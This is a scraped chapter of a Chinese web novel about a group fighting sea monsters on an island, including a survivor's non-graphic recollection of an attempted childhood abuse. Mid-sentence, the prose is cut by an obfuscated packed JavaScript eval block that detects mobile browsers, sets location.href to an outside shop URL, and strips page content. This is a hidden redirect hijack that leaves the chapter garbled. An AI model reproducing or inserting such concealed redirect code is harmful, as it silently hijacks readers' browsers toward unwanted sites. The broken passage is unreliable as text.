60. 解救无人岛(3)
作品:《101号实验学校》 海风卷着咸湿气味登陆,庞然大物追寻生人气息爬上沙滩,它们狞笑着吐出一口浊气,僵直的身体在以一种怪异姿态爬行扭动。
首批上岸的海怪还有些机敏,竖起鳞片铠甲,仅仅依靠着嗅觉探查附近的危险领域。
再往后看去,不远处的几片海域零零散散的聚集了大批异怪,他们将大半身子掩埋在水下,只留出一双眼,仔细观察岸上先锋的状态。
今夜月光并不明亮,隐在云层中间若隐若现。
故事会才进行到一半,宿林就紧急叫停并拉过宿辰,低声警告:“你悠着点,别把人惹急眼了,分分钟劈死你。”
而被指名道姓成为下一个讲述者的郁酒,反而悠哉悠哉地尝试起吴巧巧新鲜出炉的黑暗料理。
宿辰眨巴眨巴眼,问:“难道姐你不好奇吗?”
“……那我撤回上一句。”宿林侧着嘴巴,压抑着不让自己笑出声,这才回头继续刚才的话题,“咱们聊到哪了?”
许轻乐偏过头,刚想努嘴让郁酒开这金口,余光就瞄到远处山丘上有几道身影蠕动,似乎是朝着他们这边来了。
其他人显然也注意到异相,纷纷起身准备应敌。
宿林投掷出水灵浇灭火源,六人自觉分成两组跑开,分散异怪注意力。
郁酒带着宿林快速接近异怪潮,作为团队里最适合输出的两位,他们自然也承担起领头作用。
火牙瞬间席卷大片净土,构建起一道无形高墙,将二者分离开来。
许轻乐再补上一拳,拳风重重打在首领心口,顺带着撂倒一群,外力冲开鱼鳞铠甲,将它们的本体暴露在月光下。
更有甚者,因为这一拳断了一条手臂或一只未化形完全的脚。
三人站在一处,顺着海风,大有一副救世主的架势。
郁酒引雷威吓:“各位,还要继续吗?”
虽然不知道对方是不是听得懂人话,但能用嘴巴说清楚的事情就没必要大动干戈。
“等等等等!”首领连忙摆手叫停攻势,“我们投降!投降!!”
许轻乐双臂环抱,眯着眼问:“诚意呢?”
“我们愿意出苦力,只要你们不嫌弃!”说着,对方就拉了几个壮丁出来,“这一片我们都熟,我看你们在这神庙过夜也是被逼无奈,前面几栋小楼都是我们的栖身地,我们愿意把最安全的地界划分给几位贵客。”
三个人你看看我,我看看你,很快就答应了条件置换。
前往新营地的路上,邓瑾年又充当两族友好外交官问起异怪首领所谓神庙又有什么说法。
“神庙是之前的原人所建,本意是为了抵御”海水侵袭和外族攻击。”说到这,首领不好意思地挠了挠头。
“可是不对啊。”宿辰真诚发问,“神庙不都是建在山上的吗?”
“这个,或许是几百年前的故事了。”
年代久远,远到异怪们也记不起来当时究竟是怎样的天灾,导致整座岛屿的原人在一夜之间消失得无影无踪。
既然想不明白,那就等第二天再想吧。
几个人又生了堆篝火,黑工们也不知道在哪找了些可以入口的东西,在得到吴巧巧示意后他们也放心地吃了下去。
天大地大,肚子空空事最大。
又有更多的海怪上岸了,他们身上还挂着水珠,气冲冲地迎上来就要抢食吃。
宿辰和邓瑾年起先真被吓了一跳,但在首领及时的警示和许轻乐扬起的拳头威慑下还是有惊无险。
但刚才外出的宿林和郁酒可就惨了。
刚完成散步消食KPI的宿林还站在岸边,享受着晚风扶过面颊带来的颗粒感,转眼就看到几个不怀好意的异怪摩拳擦掌地向她靠拢过来。
“嘿嘿嘿,好久没见到过原人了,这小姑娘这么白净,我要抢回去当媳妇儿!”
“你可真敢想,族里什么规定都忘了?”另一个异怪狠狠地敲打着对方的头。
“怕什么,只要腹中揣了娃,还怕族规不收吗?”
……
听着这些过于冒犯的话语,宿林也维持不住才“签订”友好合约的友善面容,气得面颊都在发抖,火灵也有明显感知到主人心绪不稳,愤恨感很快溢上心头,掌心火焰盛放远胜平常,几乎是下一秒就要把这几个出言不逊的小子打成灰烬。
不过,在她预备反击的动作前,有人先一步动作。
几道天雷直直劈落,在毫无遮挡物的情况下直捣对方天灵盖,根本没想过给它们留活路。
郁酒这才姗姗来迟,虽然手中电灵还未散尽,但出于条件反射,已经把宿林自动揽到自己的保护范围内。
“我没事。”这下可好,还得受害者反过来安慰他,然而颤抖的双手和声线依然昭示着主人产生了应激行为,短时间内还消不下去。
她这份异常根本藏不住,这是生理上的恐惧和愤怒。
郁酒也很快察觉到不对,脱下外套在原地给他们搭了个简易的地毯,拉着人靠树坐下。
还好随身携带的水壶还有些库存,几口生命之源入腹,不止是心情,连身体的异常反应也消减很多。
他没有第一时间询问原因,只是默默地陪在她身边,等着她恢复正常后再自行选择是否如实相告。
这下确实换了宿林问他:“我还以为你会刨根问底呢。”
郁酒没说话,低着头。
“毕竟你长得就是一张呆头呆脑的脸。”她侧着头,看起来还很有调戏他的闲心,“别误会,我说的是智商超群但情商堪忧的那种类型。”
“……”郁酒侧身,和她一起并排坐下,“你喜欢我哥那样的?”
“不知道。”她摇摇头,“我也不知道我喜欢什么样,只要我看得过眼又合适的,我就喜欢。”
“温宵不合适吗?”
宿林浅浅“啊”了一声,思索了一会才继续说:“他很好,但是很有故事,对所有人都好,那就是对所有人都不好。
“而且,你也说过,他对你隐瞒了很多事,不是吗?”她攥紧衣角,“如果他连从小朝夕相处的你都不能完全信任,他又怎么和我建立信任关系,又怎么……”
她不敢再说,郁酒也没有再问。
气氛一下子僵持起来,环境安静得能听到身边人的呼吸声。
最后,还是宿林最先忍不住侧过头去看他的情况。
要说郁酒的脸确实是没话讲,虽然没有邓瑾年那样美得张扬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16964811|191556||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,但是独具一股少年韧劲,清爽悦目,尤其是冷脸时另有一种萌感。
虽然他平常都是一副生人勿近的模样,但总给人一种死缠烂打就能追到的错觉。
“或许,”她深吸一口气,“我们可以互相信任?”
她清楚地看到在说出这句话后,郁酒的表情有一瞬间的变化,但这人实在纯情,干脆撇过脸去不让她看见。
“喂,可不可以你倒是给个准信啊!”宿林这会子已经完全好了,还有闲心催着郁酒给反馈。
“……”殊不知某位未经人事的少爷已经准备打急救电话到长老阁取经了,“好。”
他的回答很轻,但在这万籁俱寂的时刻又重的刚刚好。
既然是初步信任关系,那总得交换个信息以示双方的对等关系。
是的,宿林还是没有忘记刚刚被掐断的故事会。
“我先说吧。”她决定自己先给内向的小男孩打个样,“就拿刚才那件事做切口……”
十岁那年,人类世界的寒灾还没有特别严重,余米带着姐弟俩在奶奶家过活。
自从五岁那年家庭遭受变故之后,宿远生给他们留下的一条明路就是隐姓埋名回到乡下。
宿林生得极好,放在泥娃娃里也是一眼就能认出的那个,洗干净了更是白净可爱,招人喜欢。
当然,这份乖巧不止是恩赐。
就像之前介绍的那样,余米和奶奶常常下地干活供养两个小孩,这也导致教育和生活上的疏忽。
意外总是会发生的。
“老妈和奶奶是在那个男人的衣柜里发现我的,”宿林仰着头,试图逼退眼底蓄起的泪水,“要不是阿辰发现我不见了,跑去田里哭着喊姐姐,老妈和奶奶还不知道会发生什么。”
善良和无知让空有美貌的女童不知反抗,任凭野兽欺压掠夺。
“还好,至少最后没有酿成大祸,在一切发生前,他们赶到了。”夜晚的风格外冻人,宿林拢了拢外套,看向只穿着内衫的郁酒,“他来不及对我做什么,只是匆忙地把我塞进臭烘烘的衣柜里,试图躲避搜查和盘问。”
最后,男人被判苦工劳改三年,第二天就有村干部上门把他的房子全部搬空,还骂了几句晦气。
听完整个故事,郁酒已然不自觉的双拳紧握,他恨恨咬牙,只挤出一句:“……畜生。”
宿林却像是如蒙大赦般松了口气,轻声笑着说:“我的秘密告诉你了,你可得帮我保守好,这件事连阿辰都没印象呢。”
“他不是当事人吗?”
“他没进那个房间,”宿林面不改色,“大概也是为了给我留些体面吧。”
“什么体面,你一直是你,那个畜生才是没脸没皮。”这大概是自从认识郁酒以来,他最不动脑子的一句话。
但,是真理。
命运赐下的一切都情有可原,可他人的罪恶不是惩罚自己的理由。
宿林心中泛起一圈圈激荡,她低头搅弄着手指,又开始犹豫自己这样莽撞会不会给人留下不理智的标签。
可有时候,她真的觉得郁酒不一样。
或许,他值得信任。
思绪神游间,郁酒突然回头,与她鬼鬼祟祟的目光对上。

